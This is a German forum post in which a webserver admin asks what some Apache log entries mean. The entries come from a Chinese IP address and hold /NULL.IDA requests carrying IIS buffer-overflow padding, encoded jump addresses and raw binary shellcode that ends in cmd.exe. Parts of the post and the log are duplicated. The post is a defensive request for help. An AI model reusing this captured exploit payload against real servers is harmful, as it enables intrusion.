Kann hier jemand mit dem folgenden Log unseres Webservers(Apache) etwas anfangen? Die IP kommt von china telekom, das erklärt wohl die komischen Zeichen. Null.Ida ist wohl der Versuch einen Bufferoverflow herbeizuführen. Beim googeln habe ich ausser diesem netten Text
... Es war unerwartet sehr kalt geworden, an die zehn Grad unter null. Ida wurde in der Kälte ohnmächtig und erfror.
auch nichts.
Hier das Log:
ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf ™ ªœ™™Éf œ™™ ®œ™™Éf œ™™ Úœ
™™™Zñ™™™óÙf 9œ™™ZªYÉ w›™™^™•™™™É ªœ™™É ¶œ™™Éf Åœ™™ªYÉ w›™™É ¢œ™™É ®œ™™Éf Åœ™™Z™™™™™™™™˜™™™É
¸š™™^š‰™™™ÊÛ™™ÊÉf eœ™™Aa™ÁåEZZ‰™™™óŠ öš™™Éf ½Ÿ
™™ öš ™™Éf ©Ÿ™™a™í» é•ge4a™íŠ ™¥“íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™Éó›f
€Ÿ™™ó™ó˜ó›f pœ™™af– ™™™ Þœ™™¦œ™™^š˜™™™óÊóñff™™Éf §Ÿ ™™a™ìé ÿ öŸ™™ÿ Ý™™ 蟙™ ß™™afì– q³fff ß™™ Þœ™™ó‰Û™™ÊÉf iœ™™a™ìº óœ Þœ™™Éf lœ™™a™ì’ Þœ™™ZªYZ›™™ú™™™™™™™™™™™™!™™hî¡Ôà ™íž ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP(žjÿ>í• ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ™™™ þŸ
™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHek7Á¦™íŽ ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉfŽÆZ™™™™™
™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™ÒÜË×ÜÕª«
™ÚëüøíüÉðéü™Þüí ÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉëöúüêêØ™ÚõöêüÑø÷ýõü™Éüüò×øôüýÉðéü™
ÞõöûøõØõõöú™Îëðíüßðõü™Ëüøýßðõü™Êõüüé™Íüëôð÷øíüÉëöúüêê™Üá ðíÍñëüøý™™Îʫƪ«™êöúòüí™ûð÷ý™õðêíü÷™øúúüéí™êü÷ý™ëüúï™úõ
öêüêöúòüí™ÎÊØÊíøëíìé™þüíñöêí÷øôü™þüíñöêíûà÷øôü™êüíêöúòö éí™™™ÕöøýÕðûëøëàØ™ÞüíÉëöúØýýëüêê™êëî¨éî™úM=Ûcmd.exe$ HTTP/1.1" 404 309
218.63.208.242 - - [08/Feb/2005:05:09:24 +0100] "GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%ueac3%u77
f0%u0000%u0000%u838b%u0094%u0000%u408b%u0564%u0150%
u0000%ue0ff%u9090=x&ë _ëèõÿÿÿoð}-‹÷f¸H3Éf‹È´™ü¬2Īâú$쟙™eªP(¹)½k7_Þf™q”™™q™™q
×›™™ Úœ™™qÈ›™™q½š™™ Þœ™™q'˜™™ Öœ™™ Þœ™™qæ›™™ Òœ
™™qÇ™™™q™™™a™íy Òœ™™Éf ”Ÿ™™ Þœ™™Éf ”Ÿ™™ ¶œ™™Éf œ™
™ ¢œ™™Éf œ™™!™™™™É Öœ™™Éf \œ™™!™™™™Éf Oœ™™Z Òœ™
™ó™ó€ š˜™™É Òœ™™Éf šŸ™™Z”“Îð÷÷íØìíöØííøúò¹Ï«©”“”“ñ ™™™f &œ™™ ¶œ™™q_™™™af– /™™™a™íÎ ó™ ¦œ™™Éñ™™™ Úœ™™É ¶œ™™Éf /œ™™a™– ™™™ó™ ¦œ™™É Úœ™™
É Òœ™™Éf šŸ™™afíý r ó™ñ™™™ Úœ™™É Òœ™™Éf ‘Ÿ™™a™í§ afí¬ ªBʦœ™™ÊÉ Úœ™™É ¢œ™™Éf 5œ™™a™í p²fffªYÑZªYZªBʽ›™™ÊªBÊÊÊÉf œ™™a™í’ ½›™™Z!ffffZ™™™™ Úœ™™^™Ý™™™Éf þœ™™Úœ™™ ªœ™™ÚÙÚ¥ ®
œ™™Ú¡!˜˜™™ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf ™ ªœ™™Éf œ™™ ®œ
™™Éf œ™™ Úœ™™™Zñ™™™óÙf 9œ™™ZªYÉ w›™™^™•™™™É ªœ™™
É ¶œ™™Éf Åœ™™ªYÉ w›™™É ¢œ™™É ®œ™™Éf Åœ™™Z™™™™™™
™™˜™™™É¸š™™^š‰™™™ÊÛ™™ÊÉf eœ™™Aa™ÁåEZZ‰™™™óŠ ö
š™™Éf ½Ÿ™™ öš™™Éf ©Ÿ™™a™í» é•ge4a™íŠ ™¥“íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™Éó›f €
Ÿ™™ó™ó˜ó›f pœ™™af– ™™™ Þœ™™¦œ™™^š˜™™™óÊóñff™™Éf §Ÿ
™™a™ìé ÿ öŸ™™ÿ Ý™™ 蟙™ ß™™afì– q³fff ß™™ Þœ™™ó‰Û™™ÊÉf iœ™™a™ìº óœ Þœ™™Éf lœ™™a™ì’ Þœ™™ZªYZ›™™ú™™™™™™™™™™™™!™™hî¡Ôà ™íž ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP(žjÿ>í• ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ™™™ þŸ
™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHek7Á¦™íŽ ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉfŽÆZ™™™™™
™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™ÒÜË×ÜÕª«
™ÚëüøíüÉðéü™ÞüíÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉëöúüêêØ™ÚõöêüÑø÷ýõü™
Éüüò×øôüýÉðéü™ÞõöûøõØõõöú™Îëðíüßðõü™Ëüøýßðõü™Êõüüé™Íüëôð
÷øíüÉëöúüêê™ÜáðíÍñëüøý™™Îʫƪ«™êöúòüí™ûð÷ý™õðêíü÷™øúúüéí
™êü÷ý™ëüúï™úõöêüêöúòüí™ÎÊØÊíøëíìé™þüíñöêí÷øôü™þüíñöêíûà÷øôü
™êüíêöúòöéí™™™ÕöøýÕðûëøëàØ™ÞüíÉëöúØýýëüêê™êëî¨éî™úM=Ûcmd
.exe$ HTTP/1.1" 404 309
218.63.208.242 - - [08/Feb/2005:05:09:30 +0100] "GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCC%u0aeb%ub890%ueac3%u77f0%u0000%u0000
%u838b%u0094%u0000%u408b%u0564%u0150%u0000%ue0ff%u9090
=x&ë _ëèõÿÿÿoð}-‹÷f¸H3Éf‹È´™ü¬2Īâú$쟙™eªP(¹)½k7_Þf™q”™™q™™q×›
™™ Úœ™™qÈ›™™q½š™™ Þœ™™q'˜™™ Öœ™™ Þœ™™qæ›™™ Òœ™™qÇ
™™™q™™™a™íy Òœ™™Éf ”Ÿ™™ Þœ™™Éf ”Ÿ™™ ¶œ™™Éf œ™™ ¢œ
™™Éf œ™™!™™™™É Öœ™™Éf \œ™™!™™™™Éf Oœ™™Z Òœ™™ó
™ó€ š˜™™É Òœ™™Éf šŸ™™Z”“Îð÷÷íØìíöØííøúò¹Ï«©”“”“ñ ™™™f &œ™™ ¶œ™™q_™™™af– /™™™a™íÎ ó™ ¦œ™™Éñ™™™ Úœ™™É ¶œ™™Éf /œ™™a™– ™™™ó™ ¦œ™™É Úœ
™™É Òœ™™Éf šŸ™™afíý r ó™ñ™™™ Úœ™™É Òœ™™Éf ‘Ÿ™™a™í§ afí¬ ªBʦœ™™ÊÉ Úœ™™É ¢œ™™Éf 5œ™™a™í p²fffªYÑZªYZªBʽ›™™ÊªBÊÊÊÉf œ™™a™í’ ½›™™Z!ffffZ™™™™ Úœ™™^™Ý™™™Éf þœ™™Úœ™™ ªœ™™ÚÙÚ¥ ®œ
™™Ú¡!˜˜™™ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf ™ ªœ™™Éf œ™™ ®œ
™™Éf œ™™ Úœ™™™Zñ™™™óÙf 9œ™™ZªYÉ w›™™^™•™™™É ªœ
™™É ¶œ™™Éf Åœ™™eœ™™Aa™ÁåEZZ‰
™™™óŠ öš™™Éf ½Ÿ™™ öš™™Éf ©Ÿ™™a™í» é•ge4a™íŠ ™¥“íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™
Éó›f €Ÿ™™ó™ó˜ó›f pœ™™af– ™™™ Þœ™™¦œ™™^š˜™™™óÊóñff
™™Éf §Ÿ™™a™ìé ÿ öŸ™™ÿ Ý™™ 蟙™ ß™™afì– q³fff ß™™ Þœ™™ó‰Û™™ÊÉf iœ™™a™ìº óœ Þœ™™Éf lœ™™a™ì’ Þœ™™ZªYZ›™™ú™™™™™™™™™™™™!™™hî¡Ôà ™íž ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP(žjÿ>í• ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ™™™
þŸ™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHek7Á¦™íŽ ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉfŽÆZ™™™™
™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™ÒÜË×
ÜÕª«™ÚëüøíüÉðéü™ÞüíÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉëöúüêêØ™ÚõöêüÑø
÷ýõü™Éüüò×øôüýÉðéü™ÞõöûøõØõõöú™Îëðíüßðõü™Ëüøýßðõü™Êõü
üé™Íüëôð÷øíüÉëöúüêê™ÜáðíÍñëüøý™™Îʫƪ«™êöúòüí™ûð÷ý™
õðêíü÷™øúúüéí™êü÷ý™ëüúï™úõöêüêöúòüí™ÎÊØÊíøëíìé™þüíñöêí÷ø
ôü™þüíñöêíûà÷øôü™êüíêöúòöéí™™™ÕöøýÕðûëøëàØ™ÞüíÉëöúØýýë
üêê™êëî¨éî™úM=Ûcmd.exe$ HTTP/1.1" 404 309
218.63.208.242 - - [08/Feb/2005:05:09:35 +0100] "GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%uac97%u77e4%u
0000%u0000%u838b%u0094%u0000%u408b%u0564%u0150%
u0000%ue0ff%u9090=x&ë _ëèõÿÿÿoð}-‹÷f¸H3Éf‹È´™ü¬2Īâú$쟙™eªP(¹)½k7_Þf™q”™™q
™™q×›™™ Úœ™™qÈ›™™q½š™™ Þœ™™q'˜™™ Öœ™™ Þœ™™qæ›
™™ Òœ™™qÇ™™™q™™™a™íy Òœ™™Éf ”Ÿ™™ Þœ™™Éf ”Ÿ™™ ¶œ
™™Éf œ™™ ¢œ™™Éf œ™™!™™™™É Öœ™™Éf \œ™™!™™™™Éf
Oœ™™Z Òœ™™ó™ó€ š˜™™É Òœ™™Éf šŸ™™Z”“Îð÷÷íØìíöØííøúò¹Ï«
©”“”“ñ ™™™f &œ™™ ¶œ™™q_™™™af– /™™™a™íÎ ó™ ¦œ™™Éñ™™™ Úœ™™É ¶œ™™Éf /œ™™a™– ™™™ó™ ¦œ™™É Úœ
™™É Òœ™™Éf šŸ™™afíý r ó™ñ™™™ Úœ™™É Òœ™™Éf ‘Ÿ™™a™í§ afí¬ ªBʦœ™™ÊÉ Úœ™™É ¢œ™™Éf 5œ™™a™í p²fffªYÑZªYZªBʽ›™™ÊªBÊÊÊÉf œ™™a™í’ ½›™™Z!ffffZ™™™™ Úœ™™^™Ý™™™Éf þœ™™Úœ™™ ªœ™™ÚÙÚ¥
®œ™™Ú¡!˜˜™™ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf ™ ªœ™™Éf œ™™
®œ™™Éf œ™™ Úœ™™™Zñ™™™óÙf 9œ™™ZªYÉ w›™™^™•™™™É
ªœ™™É ¶œ™™Éf Åœ™™ªYÉ w›™™É ¢œ™™É ®œ™™Éf Åœ™™Z™™
™™™™™™˜™™™É¸š™™^š‰™™™ÊÛ™™ÊÉf eœ™™Aa™ÁåEZZ‰
™™™óŠ öš™™Éf ½Ÿ™™ öš™™Éf ©Ÿ™™a™í» é•ge4a™íŠ ™¥“íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™
Éó›f €Ÿ™™ó™ó˜ó›f pœ™™af– ™™™ Þœ™™¦œ™™^š˜™™™óÊóñf
f™™Éf §Ÿ™™a™ìé ÿ öŸ™™ÿ Ý™™ 蟙™ ß™™afì– q³fff ß™™ Þœ™™ó‰Û™™ÊÉf iœ™™a™ìº óœ Þœ™™Éf lœ™™a™ì’ Þœ™™ZªYZ›™™ú™™™™™™™™™™™™!™™hî¡Ôà ™íž ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP(žjÿ>í• ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ
™™™ þŸ™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHek7Á¦™íŽ ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉfŽÆZ
™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™
™™™™ÒÜË×ÜÕª«™ÚëüøíüÉðéü™ÞüíÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉë
öúüêêØ™ÚõöêüÑø÷ýõü™Éüüò×øôüýÉðéü™ÞõöûøõØõõöú™Îë
ðíüßðõü™Ëüøýßðõü™Êõüüé™Íüëôð÷øíüÉëöúüêê™ÜáðíÍñëüøý
™™Îʫƪ«™êöúòüí™ûð÷ý™õðêíü÷™øúúüéí™êü÷ý™ëüúï™úõ
öêüêöúòüí™ÎÊØÊíøëíìé™þüíñöêí÷øôü™þüíñöêíûà÷øôü™êüíêöú
òöéí™™™ÕöøýÕðûëøëàØ™ÞüíÉëöúØýýëüêê™êëî¨éî™úM=Ûcmd.exe$ HTTP/1.1" 404 309
... Es war unerwartet sehr kalt geworden, an die zehn Grad unter null. Ida wurde in der Kälte ohnmächtig und erfror.
auch nichts.
Hier das Log:
ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf ™ ªœ™™Éf œ™™ ®œ™™Éf œ™™ Úœ
™™™Zñ™™™óÙf 9œ™™ZªYÉ w›™™^™•™™™É ªœ™™É ¶œ™™Éf Åœ™™ªYÉ w›™™É ¢œ™™É ®œ™™Éf Åœ™™Z™™™™™™™™˜™™™É
¸š™™^š‰™™™ÊÛ™™ÊÉf eœ™™Aa™ÁåEZZ‰™™™óŠ öš™™Éf ½Ÿ
™™ öš ™™Éf ©Ÿ™™a™í» é•ge4a™íŠ ™¥“íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™Éó›f
€Ÿ™™ó™ó˜ó›f pœ™™af– ™™™ Þœ™™¦œ™™^š˜™™™óÊóñff™™Éf §Ÿ ™™a™ìé ÿ öŸ™™ÿ Ý™™ 蟙™ ß™™afì– q³fff ß™™ Þœ™™ó‰Û™™ÊÉf iœ™™a™ìº óœ Þœ™™Éf lœ™™a™ì’ Þœ™™ZªYZ›™™ú™™™™™™™™™™™™!™™hî¡Ôà ™íž ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP(žjÿ>í• ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ™™™ þŸ
™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHek7Á¦™íŽ ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉfŽÆZ™™™™™
™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™ÒÜË×ÜÕª«
™ÚëüøíüÉðéü™Þüí ÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉëöúüêêØ™ÚõöêüÑø÷ýõü™Éüüò×øôüýÉðéü™
ÞõöûøõØõõöú™Îëðíüßðõü™Ëüøýßðõü™Êõüüé™Íüëôð÷øíüÉëöúüêê™Üá ðíÍñëüøý™™Îʫƪ«™êöúòüí™ûð÷ý™õðêíü÷™øúúüéí™êü÷ý™ëüúï™úõ
öêüêöúòüí™ÎÊØÊíøëíìé™þüíñöêí÷øôü™þüíñöêíûà÷øôü™êüíêöúòö éí™™™ÕöøýÕðûëøëàØ™ÞüíÉëöúØýýëüêê™êëî¨éî™úM=Ûcmd.exe$ HTTP/1.1" 404 309
218.63.208.242 - - [08/Feb/2005:05:09:24 +0100] "GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%ueac3%u77
f0%u0000%u0000%u838b%u0094%u0000%u408b%u0564%u0150%
u0000%ue0ff%u9090=x&ë _ëèõÿÿÿoð}-‹÷f¸H3Éf‹È´™ü¬2Īâú$쟙™eªP(¹)½k7_Þf™q”™™q™™q
×›™™ Úœ™™qÈ›™™q½š™™ Þœ™™q'˜™™ Öœ™™ Þœ™™qæ›™™ Òœ
™™qÇ™™™q™™™a™íy Òœ™™Éf ”Ÿ™™ Þœ™™Éf ”Ÿ™™ ¶œ™™Éf œ™
™ ¢œ™™Éf œ™™!™™™™É Öœ™™Éf \œ™™!™™™™Éf Oœ™™Z Òœ™
™ó™ó€ š˜™™É Òœ™™Éf šŸ™™Z”“Îð÷÷íØìíöØííøúò¹Ï«©”“”“ñ ™™™f &œ™™ ¶œ™™q_™™™af– /™™™a™íÎ ó™ ¦œ™™Éñ™™™ Úœ™™É ¶œ™™Éf /œ™™a™– ™™™ó™ ¦œ™™É Úœ™™
É Òœ™™Éf šŸ™™afíý r ó™ñ™™™ Úœ™™É Òœ™™Éf ‘Ÿ™™a™í§ afí¬ ªBʦœ™™ÊÉ Úœ™™É ¢œ™™Éf 5œ™™a™í p²fffªYÑZªYZªBʽ›™™ÊªBÊÊÊÉf œ™™a™í’ ½›™™Z!ffffZ™™™™ Úœ™™^™Ý™™™Éf þœ™™Úœ™™ ªœ™™ÚÙÚ¥ ®
œ™™Ú¡!˜˜™™ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf ™ ªœ™™Éf œ™™ ®œ
™™Éf œ™™ Úœ™™™Zñ™™™óÙf 9œ™™ZªYÉ w›™™^™•™™™É ªœ™™
É ¶œ™™Éf Åœ™™ªYÉ w›™™É ¢œ™™É ®œ™™Éf Åœ™™Z™™™™™™
™™˜™™™É¸š™™^š‰™™™ÊÛ™™ÊÉf eœ™™Aa™ÁåEZZ‰™™™óŠ ö
š™™Éf ½Ÿ™™ öš™™Éf ©Ÿ™™a™í» é•ge4a™íŠ ™¥“íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™Éó›f €
Ÿ™™ó™ó˜ó›f pœ™™af– ™™™ Þœ™™¦œ™™^š˜™™™óÊóñff™™Éf §Ÿ
™™a™ìé ÿ öŸ™™ÿ Ý™™ 蟙™ ß™™afì– q³fff ß™™ Þœ™™ó‰Û™™ÊÉf iœ™™a™ìº óœ Þœ™™Éf lœ™™a™ì’ Þœ™™ZªYZ›™™ú™™™™™™™™™™™™!™™hî¡Ôà ™íž ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP(žjÿ>í• ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ™™™ þŸ
™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHek7Á¦™íŽ ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉfŽÆZ™™™™™
™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™ÒÜË×ÜÕª«
™ÚëüøíüÉðéü™ÞüíÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉëöúüêêØ™ÚõöêüÑø÷ýõü™
Éüüò×øôüýÉðéü™ÞõöûøõØõõöú™Îëðíüßðõü™Ëüøýßðõü™Êõüüé™Íüëôð
÷øíüÉëöúüêê™ÜáðíÍñëüøý™™Îʫƪ«™êöúòüí™ûð÷ý™õðêíü÷™øúúüéí
™êü÷ý™ëüúï™úõöêüêöúòüí™ÎÊØÊíøëíìé™þüíñöêí÷øôü™þüíñöêíûà÷øôü
™êüíêöúòöéí™™™ÕöøýÕðûëøëàØ™ÞüíÉëöúØýýëüêê™êëî¨éî™úM=Ûcmd
.exe$ HTTP/1.1" 404 309
218.63.208.242 - - [08/Feb/2005:05:09:30 +0100] "GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCC%u0aeb%ub890%ueac3%u77f0%u0000%u0000
%u838b%u0094%u0000%u408b%u0564%u0150%u0000%ue0ff%u9090
=x&ë _ëèõÿÿÿoð}-‹÷f¸H3Éf‹È´™ü¬2Īâú$쟙™eªP(¹)½k7_Þf™q”™™q™™q×›
™™ Úœ™™qÈ›™™q½š™™ Þœ™™q'˜™™ Öœ™™ Þœ™™qæ›™™ Òœ™™qÇ
™™™q™™™a™íy Òœ™™Éf ”Ÿ™™ Þœ™™Éf ”Ÿ™™ ¶œ™™Éf œ™™ ¢œ
™™Éf œ™™!™™™™É Öœ™™Éf \œ™™!™™™™Éf Oœ™™Z Òœ™™ó
™ó€ š˜™™É Òœ™™Éf šŸ™™Z”“Îð÷÷íØìíöØííøúò¹Ï«©”“”“ñ ™™™f &œ™™ ¶œ™™q_™™™af– /™™™a™íÎ ó™ ¦œ™™Éñ™™™ Úœ™™É ¶œ™™Éf /œ™™a™– ™™™ó™ ¦œ™™É Úœ
™™É Òœ™™Éf šŸ™™afíý r ó™ñ™™™ Úœ™™É Òœ™™Éf ‘Ÿ™™a™í§ afí¬ ªBʦœ™™ÊÉ Úœ™™É ¢œ™™Éf 5œ™™a™í p²fffªYÑZªYZªBʽ›™™ÊªBÊÊÊÉf œ™™a™í’ ½›™™Z!ffffZ™™™™ Úœ™™^™Ý™™™Éf þœ™™Úœ™™ ªœ™™ÚÙÚ¥ ®œ
™™Ú¡!˜˜™™ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf ™ ªœ™™Éf œ™™ ®œ
™™Éf œ™™ Úœ™™™Zñ™™™óÙf 9œ™™ZªYÉ w›™™^™•™™™É ªœ
™™É ¶œ™™Éf Åœ™™eœ™™Aa™ÁåEZZ‰
™™™óŠ öš™™Éf ½Ÿ™™ öš™™Éf ©Ÿ™™a™í» é•ge4a™íŠ ™¥“íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™
Éó›f €Ÿ™™ó™ó˜ó›f pœ™™af– ™™™ Þœ™™¦œ™™^š˜™™™óÊóñff
™™Éf §Ÿ™™a™ìé ÿ öŸ™™ÿ Ý™™ 蟙™ ß™™afì– q³fff ß™™ Þœ™™ó‰Û™™ÊÉf iœ™™a™ìº óœ Þœ™™Éf lœ™™a™ì’ Þœ™™ZªYZ›™™ú™™™™™™™™™™™™!™™hî¡Ôà ™íž ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP(žjÿ>í• ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ™™™
þŸ™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHek7Á¦™íŽ ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉfŽÆZ™™™™
™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™ÒÜË×
ÜÕª«™ÚëüøíüÉðéü™ÞüíÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉëöúüêêØ™ÚõöêüÑø
÷ýõü™Éüüò×øôüýÉðéü™ÞõöûøõØõõöú™Îëðíüßðõü™Ëüøýßðõü™Êõü
üé™Íüëôð÷øíüÉëöúüêê™ÜáðíÍñëüøý™™Îʫƪ«™êöúòüí™ûð÷ý™
õðêíü÷™øúúüéí™êü÷ý™ëüúï™úõöêüêöúòüí™ÎÊØÊíøëíìé™þüíñöêí÷ø
ôü™þüíñöêíûà÷øôü™êüíêöúòöéí™™™ÕöøýÕðûëøëàØ™ÞüíÉëöúØýýë
üêê™êëî¨éî™úM=Ûcmd.exe$ HTTP/1.1" 404 309
218.63.208.242 - - [08/Feb/2005:05:09:35 +0100] "GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%uac97%u77e4%u
0000%u0000%u838b%u0094%u0000%u408b%u0564%u0150%
u0000%ue0ff%u9090=x&ë _ëèõÿÿÿoð}-‹÷f¸H3Éf‹È´™ü¬2Īâú$쟙™eªP(¹)½k7_Þf™q”™™q
™™q×›™™ Úœ™™qÈ›™™q½š™™ Þœ™™q'˜™™ Öœ™™ Þœ™™qæ›
™™ Òœ™™qÇ™™™q™™™a™íy Òœ™™Éf ”Ÿ™™ Þœ™™Éf ”Ÿ™™ ¶œ
™™Éf œ™™ ¢œ™™Éf œ™™!™™™™É Öœ™™Éf \œ™™!™™™™Éf
Oœ™™Z Òœ™™ó™ó€ š˜™™É Òœ™™Éf šŸ™™Z”“Îð÷÷íØìíöØííøúò¹Ï«
©”“”“ñ ™™™f &œ™™ ¶œ™™q_™™™af– /™™™a™íÎ ó™ ¦œ™™Éñ™™™ Úœ™™É ¶œ™™Éf /œ™™a™– ™™™ó™ ¦œ™™É Úœ
™™É Òœ™™Éf šŸ™™afíý r ó™ñ™™™ Úœ™™É Òœ™™Éf ‘Ÿ™™a™í§ afí¬ ªBʦœ™™ÊÉ Úœ™™É ¢œ™™Éf 5œ™™a™í p²fffªYÑZªYZªBʽ›™™ÊªBÊÊÊÉf œ™™a™í’ ½›™™Z!ffffZ™™™™ Úœ™™^™Ý™™™Éf þœ™™Úœ™™ ªœ™™ÚÙÚ¥
®œ™™Ú¡!˜˜™™ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf ™ ªœ™™Éf œ™™
®œ™™Éf œ™™ Úœ™™™Zñ™™™óÙf 9œ™™ZªYÉ w›™™^™•™™™É
ªœ™™É ¶œ™™Éf Åœ™™ªYÉ w›™™É ¢œ™™É ®œ™™Éf Åœ™™Z™™
™™™™™™˜™™™É¸š™™^š‰™™™ÊÛ™™ÊÉf eœ™™Aa™ÁåEZZ‰
™™™óŠ öš™™Éf ½Ÿ™™ öš™™Éf ©Ÿ™™a™í» é•ge4a™íŠ ™¥“íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™
